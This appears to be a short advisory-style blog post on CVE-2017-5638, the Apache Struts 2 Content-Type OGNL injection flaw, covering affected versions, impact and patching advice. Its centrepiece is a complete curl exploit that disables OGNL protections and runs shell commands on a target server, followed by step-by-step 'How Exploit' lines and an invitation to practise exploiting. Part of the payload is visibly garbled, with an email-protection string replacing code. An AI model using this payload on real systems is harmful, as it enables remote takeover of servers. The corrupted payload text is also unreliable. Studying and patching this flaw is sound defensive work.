Listen to this Post
The CVE-2017-5638 vulnerability in Apache Struts 2 stems from flawed error handling within the Jakarta Multipart parser. When a malicious Content-Type header is sent in an HTTP request for a file upload, the framework incorrectly attempts to process it using an Object-Graph Navigation Language (OGNL) expression. This occurs before the file upload is even completed or validated. An attacker can craft a request where the Content-Type header contains an OGNL expression. Because the framework evaluates this expression unsandboxed during the parsing error, it allows the attacker to execute arbitrary system commands on the server with the same privileges as the Struts application. This provides direct control over the underlying host, leading to full system compromise.
Platform: Apache Struts 2
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: Patch Available
What Undercode Say:
`curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’id’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://target-host.com/struts2-showcase/fileupload/doUpload.action`
How Exploit:
Craft malicious HTTP request.
Inject OGNL in Content-Type.
Execute arbitrary commands.
Protection from this CVE
Upgrade to Struts 2.3.32 or 2.5.10.1.
Apply vendor-specific patches.
Implement WAF filtering rules.
Impact:
Full server compromise.
Arbitrary command execution.
Complete system access.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
